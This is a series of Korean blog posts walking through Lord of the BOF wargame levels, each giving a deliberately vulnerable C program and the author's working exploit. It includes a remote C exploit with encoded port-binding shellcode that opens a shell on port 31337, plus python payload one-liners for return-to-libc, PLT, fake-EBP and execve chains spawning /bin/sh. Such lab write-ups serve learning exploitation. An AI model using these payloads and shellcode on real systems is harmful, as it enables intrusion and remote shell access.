2011. 6. 18. 14:18

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- dark knight

- remote BOF

*/

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

   

int server_fd, client_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size;

   

if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}

   

server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(6666);

server_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(server_addr.sin_zero), 8);

   

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}

   

if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

   

while(1) {

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

   

if (!fork()){

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

   

close(client_fd);

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


♧ Remote BOF 문제이다. 단순 brute force 공격으로 문제를 해결 합니다.
원격 프로그램을 공격할 때는 지금까지의 쉘코드가 동작하지 않는다.
♧ 해당 http://www.exploit-db.com/exploits/13910/ 사이트에서 포트 바인딩 쉘코드를 다운받고

익스플로잇을 작성 합니다.
삽입된 쉘코드는 연결된 네트워크 포트로 쉘을 바인딩하고 31337번 포트를 바인딩 하고 TCP연결을 기다립니다.


   

   

[ 익스플로잇 작성 ]

[dumpcode.h]

/******************************

* RAW 메모리를 16진수로 덤프

*******************************/

void dump(const unsigned char *data_buffer, const unsigned int length) {

unsigned char byte;

unsigned int i, j;

   

for(i=0; i < length; i++) {

byte = data_buffer[i];

if (i%16 == 0)

printf("%08x: ", (unsigned int)&data_buffer[i]);

printf("%02x ", byte); // display byte in hex

   

if(((i%16)==15) || (i==length-1)) {

for(j=0; j < 15-(i%16); j++)

printf(" ");

printf(" | ");

for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line

byte = data_buffer[j];

if((byte > 31) && (byte < 127)) // outside printable char range

printf("%c", byte);

else

printf(".");

}

printf("\n"); // end of the dump line (each line 16 bytes)

} // end if

} // end for

}


   

[exploit.c]

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "dumpcode.h"

   

#define SA struct sockaddr

#define BUFSIZE 256

#define OFFSET 44

char bindport[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

#define BINDPORT 31337

   

   

int main (int argc, char *argv[])

{

int sockfd;

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];

unsigned int retaddr = 0xbffffff0;

char cmd[100];

   

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

   

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);

   

while (1) {

   

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

perror ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));

target_addr.sin_addr.s_addr = inet_addr(argv[1]);

   

if (connect (sockfd, (SA*)&target_addr, sizeof(target_addr)) == -1) {

perror ("connect error");

close(sockfd);

continue;

}

retaddr -= 10;

memset(buffer, '\x90', sizeof(buffer));

memcpy(buffer+OFFSET, &retaddr, 4);

memcpy(buffer+100, bindport, strlen(bindport));

puts("_____ Exploit Buffer:");

dump(buffer, strlen(buffer));

send(sockfd, buffer, strlen(buffer), 0);

system(cmd);

close(sockfd);

}

   

return 0;

}


   

[ 결과 화면 ]

[xavius@localhost xavius]$ gcc -W -Wall exploit.c -o exploit

[xavius@localhost xavius]$ ./exploit 192.168.0.100 6666

성공!!!


   

   

Posted by devanix
2011. 6. 15. 22:01

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- xavius

- arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

char *ret_addr;

   

// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);

   

if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(*(buffer+47) == '\x08')

{

printf("binary image retbayed you, too!!\n");

exit(0);

}

   

// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++;

}

   

// stack destroyer

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


♧ 사용 할 수 있는 공간이 별루 없다.
fgets 내부 버퍼를 사용하여 문제를 풀도록 하자.

   

[ summary ]

① strace ./사본으로 내용을 보면 fgets()는 내부 시스템콜 read()를 호출하는데
이때 표준입출력 0인 파일디스크립터를 인자로 하여 호출 하는것을 볼 수 있다.
즉 read(0, 을 사이로 0x40015000~0x40016000(4096Byte)까지 메모리 맵핑 하는 것을 볼 수 있다.

② gdb로 fgets를 호출 후 바로 확인해 보면 입력한 "DDDD~"가 0x40015000부터 들어가는 것을 볼 수 있다.


③ 이 공간에 쉘코드를 사입후 문제를 푼다.

[BUFFER]+[SFP](44Byte)

[RET]

[NOP썰매]+[쉘코드]

0X40015000


   

[ Attack ]

∑xploit

( python -c 'print "\x90"*27 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x01\x50\x01\x40"' ; tee) | ./xavius

※(0x40015000은 마지막 "00"이 널로 취급 때문에 NOP썰매가 있는 곳으로 수정)

성공!!!



nightmare : "beg for me"

Posted by devanix
2011. 6. 15. 00:26

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- nightmare

- PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// check address

addr = (char *)&strcpy;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with strcpy()\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


♧ RET부분이 strcpy주소로 시작을 하는지 check하고 있다.
먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다.
이 plt의 strcpy의 참조 주소를 이용해 RTL로 문제를 풀도록 하자.


 

   

♧ GOT와 PLT [ 참조 ]

GOT는 Global Offset Table(전역 오프셋 테이블)약자며 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다.
PLT는 일종의 실제 호출 코드를 담고 있는 Procedure Linkage Table(프로시져 링키지 테이블)로써

이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다.

(매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제

시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될 것 같다.


   

[ summary ]

♧ strcpy()를 이용해 argv[2]에 있는 system()를 리턴 주소(strcpy호출 다음)에 복사하여 실행 흐름을 변경한다.

  


   

   

[ Attack ]

필요한 주소 구하기.

ⓐ strcpy@plt

ⓑ strcpy[dest], strcpy[src]=argv[2] 주소 (사본 생성 후 주소 출력)


dest = 0xbffffaa0 + 48 = [ 0xbffffad0 ]

argv =[ 0xbffffc58 ]

   

∑xploit

$(python -c 'print "A"*44 + "\x10\x84\x04\x08" + "dumm" + "\xd0\xfa\xff\xbf" + "\x58\xfc\xff\xbf"') $(python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

  


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

succubus : "here to stay"

 

Posted by devanix
2011. 6. 12. 05:04

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- succubus

- calling functions continuously

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

// the inspector

int check = 0;

   

void MO(char *cmd)

{

if(check != 4)

exit(0);

   

printf("welcome to the MO!\n");

   

// olleh!

system(cmd);

}

   

void YUT(void)

{

if(check != 3)

exit(0);

   

printf("welcome to the YUT!\n");

check = 4;

}

   

void GUL(void)

{

if(check != 2)

exit(0);

   

printf("welcome to the GUL!\n");

check = 3;

}

   

void GYE(void)

{

if(check != 1)

exit(0);

   

printf("welcome to the GYE!\n");

check = 2;

}

   

void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}

   

// check address

addr = (char *)&DO;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with DO\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer

// 100 : extra space for copied argv[1]

memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


1) argv[1]에서 "\x40"이 유무 체크. (library 함수를 사용하지 못함)
2) RET에는 DO함수 주소가 있어야 함.
3) RET이후 100Byte 사용가능.
♧ RTL개념과 같다. 다만 각 함수마다 플래그 체크를 하여 <DO> <GYE> <GUL> <YUT> <MO> 순으로 호출해야 한다.


 

   

[ summary ]

스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3


그러나 리턴 주소 부분에 다시 함수 호출을 한다면 연속 적으로 호출 할 수 있다.
다만 인자가 없는 함수 호출만 연속적으로 호출 할 수 있다.

그리고 마지막에 호출되는 함수는 인자를 사용 할 수 있다.

   

그리고 맨 마지막 <MO> 함수는 system(인자)를 호출하게 되는데
사용 할 수 있는 스택은 RET 부터 +100byte뿐임으로 다음과 같이 구성한다.

<BUFFER>

<SFP>

<DO>

..[중략]..

<MO>

<RET:더미>

&("bash")문자열 주소

"bash"

  


   

[ Attack ]

필요한 주소 구하기.

ⓐ 도,개,걸,윳,모 주소

ⓑ "/bin/sh"문자열 주소

[버퍼 주소 40Byte] + [SFP4Byte] + [도, 개, 걸, 윳, 모 20Byte] + [더미4Byte] + [&("/bin/sh")4Byte]

= 0xbffffa70 + 40 + 4 + 20 + 4 + 4 = [ 0xbffffab8 ]

   

∑xploit

$(python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "dmmm" + "\xb8\xfa\xff\xbf" + "/bin/sh"')


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

zombie_assassin : "no place to hide"

Posted by devanix
2011. 6. 11. 22:24

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- zombie_assassin

- FEBP

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}


♧ strncpy()함수로 인하여 buffer에 복사할 크기를 48로 정의 함으로써 바로 RTL을 사용하지 못한다.
그래서 제목 제목 처럼 Fake-ebp로 문제를 해결한다.

   

1) FAKE EBP?

♧ 일반 RTL에서는 하나의 함수밖에 호출하지 못하지만 FAKE EBP를 사용 함으로서 여러 함수를 실행하는 공격이 가능 하다.

♧ RET에 leave;ret 주소를 덮음으로써 조작한 ebp로 실행흐름을 바꿀 수 있게 된다.

① 공격 당한 함수의 에필로그(leave;ret)는 fake_ebp0를 %ebp에 집어 넣을 것이다.

② 두 번째 에필로그 역시 fake_ebp1을 %ebp에 집어 넣고, 적당한 매개변수를 가지는 f1으로 리턴 할 것이다.

③ f1이 실행되고 리턴 될 것이다.

④ [ ②와 ③ ]과정이 반복되고, f1에서 부터 f2, f3... fn까지 반복 될 것이다.


   

2) 구성

① 공격 당한 함수의 에필로그 leave가 실행되면 [mov ebp esp]로 인해 esp가 ebp의 시작 지점으로 이동하며
[pop ebp]로 인해 FAKE EBP를 ebp에 넣게 된다.

(이때 pop ebp로 인해 esp+4가 되며 leave의 주소가 들어있다)

② 다음 인스트럭션 명령인 ret이 실행되고 리턴 주소인(leave)가 pop eip가 되면서 다시 leave로 점프하게 된다.

③ 다시 또 한번 leave가 실행되고 ebp에는 FAKE EBP인 버퍼의 시작 주소를 가리키고 있으므로

[ mov ebp esp]로 인해 esp는 buffer의 시작 지점으로 이동하게 되며 [pop ebp]로 인해 esp+4가 된다.

④ 역시 또 한번 ret이 실행 됨으로 system()를 호출하게 된다.


 

   

∑ 익스플로잇 작성!

① 공격 스크립트 작성

"AAAA"

system:

[ 0x40058ae0]

exit:

[ 0x400391e0]

"/bin/sh":

[0x400fbff9]

buffer:

[0xbffffab0]

leave;ret:

[0x080484df]

$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

∑xploit


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

   

assassin : "pushing me away"

Posted by devanix
2011. 6. 10. 01:36

⊙ 문제의 소스를 보자)

[giant@localhost giant]$ cat assassin.c

/*

The Lord of the BOF : The Fellowship of the BOF

- assassin

- no stack, no RTL

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer+sfp hunter

memset(buffer, 0, 44);

}


♧ 제목과 같다. No! Stack, No! RTL.. 버퍼+SFP 초기화. 오로지 RET만 덮어 쓸 수 있다.
♧ 그러나 코드 영역에 RET 명령을 다시 한번 호출 하게 되면 내부 동작에 의하여

esp에 저장된 복귀 주소를 pop하고 그 주소를 eip에 대입 하게 된다.

복귀 주소를 pop 하였기 때문에 esp+4가 됨으로써 다시 한번 리턴 할 수 있다.


   

⊙ 구성도

♧ 인스트럭션 코드가 차례대로 실행되고 Return Address를 다시 한번 RET명령 주소로 덮어쓴다.

♧ 다시 한번 RET명령을 호출 함으로서 esp+4가 됨으로 system을 다시 호출 하게 된다.


 

   

(※ RET명령을 다시 호출 하는 것 외에는 전 단계와 동일 함으로 필요한 주소 찾는 과정은 제외 한다.)

∑ 익스플로잇 작성!

① 공격 스크립트 작성

RET명령:[0x804851e]

system:[0x40058ae0]

exit:[0x400391e0]

"/bin/sh":[0x400fbff9]

$(python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

∑xploit


   

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

giant : "one step closer"

Posted by devanix
2011. 6. 9. 19:48

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- giant

- RTL2

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

   

main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);

   

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);

   

execve_addr = lib_addr + (int)execve_offset;

// end

   

memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


♧ evecve의 주소를 구하여 argv[1][44]의 RET Address부분이 execve의 주소와 동일하지 않으면

종료된다. 그럼으로 문제의 제목과 같이 execve를 이용한 RTL(Return-into-Libc) 방법이 사용된다.

(전체적인 구성은 [ LEVEL13 ] 과 같음으로 참고 하자.)


   

1) 구성도

execve() 시스템 콜을 호출한 프로세스를 새로운 프로세스로 변경한다. (환경변수 정보 추가 기능)
ⓑ 대략적인 구성도는 다음과 같다.

*execve의 두 번째 인자는 char 포인터 배열 임으로 argv[0]의 "/bin/sh"는 copyed argv[0]를 이용한다.

(즉, 이름을 심볼릭 링크하여 argv[0]으로 만듬)
*NULL은 스택 끝에 0xbffffffc를 이용한다.


   

2) 필요한 주소를 찾아 보자.

① GDB로 execve(), exit() 주소 찾기.

② "/bin/sh" 주소 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

③ execve()의 두 번째 인자로 사용할 copyed argv[0]의 주소 찾기.

ⓐ 권한이 없음으로 sed로 24번 라인을 변경 후 사본을 만든다.

[bugbear@localhost bugbear]$ sed -e 's/giant\/assassin/bugbear\/giant/g' giant.c > tnaig.c

ⓑ 컴파일

[bugbear@localhost bugbear]$ gcc tnaig.c -o $(echo -en "\xf9\xbf\x0f\x40")

ⓒ GDB로 copyed argv[0] 주소 찾기. (*전체 경로를 더해준다)

   

execve

0x400a9d48

exit

0x400391e0

"/bin/sh"

0x400fbff9

argv= {"/bin/sh, 0}

0xbffffff7


   

∑ 익스플로잇 작성!

① 공격할 원본 바이너리 파일(giant)에 심볼릭 링크.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")


② 찾은 주소로 공격 스크립트 작성.

(execve의 주소에 "\x0a"를 "00"으로 취급하기 때문에 스크립트 양쪽에 큰따옴표(double quotation)를 붙여준다.

execve
[ 0x400a9d48 ]

exit
[ 0x400391e0 ]

"/bin/sh"
[ 0x400fbff9 ]

argv
[ 0xbffffff7 ]

NULL
[ 0xbffffffc ]

"$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

   

∑xploit

./$(echo -en "\xf9\xbf\x0f\x40") "$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

성공!!!


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
bugbear : "new divide"

Posted by devanix
2011. 6. 8. 23:41

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


   

   

♧ RET이 "\xbf"로 시작 할 수 없다. 즉, RET을 스택영역으로 둘 수 없다.

그렇기 때문에 RTL(Return-into-Libc) 기법을 통한 문제를 문제를 풀도록 하자.

(*자세한 내용은 밑에 참조 문서를 참고 하도록 하자.)

ⓐ 공유 라이브러리의 함수의 위치는 정해져 있다. 시스템마다 위치가 다르기는 하지만

한번 위치가 알려지면 재컴파일되기 전까지는 위치가 같다.

ⓑ 쉘코드를 사용하는 대신에 RET지점에 라이브러리 함수( system(), exit(), "/bin/sh")같은

위치값을 넣어주면 그 함수로 점프하게 된다.

ⓒ 스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3

ⓓ 간단한 구성은 다음 그림과 같다.


참조 문서

   

   

∑ 익스 플로잇 작성!

① 필요한 함수와 인자의 주소(system, exit, "/bin/sh")를 구해 보자.

* 공유라이브러리는 항상 메모리에 상주 함으로 권한이 있는 아무런 프로그램을 GDB실행하여
print <함수 이름>로 찾으면 된다.

ⓐ system(), exit() 주소 찾기.

ⓑ "/bin/sh" 인자로 쓰일 문자열 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

   

② 공격 스크립트 작성

system :: [ 0x40058ae0 ]

exit :: [ 0x400391e0 ]

"/bin/sh" :: [ 0x400fbff9 ]

$(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

③ ∑xploit

성공!!!

*exit() 주소 대신 아무런 가비지값을 넣어도 없지만 세그먼트 에러가 발생한다.

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

darkknight : "new attacker"

Posted by devanix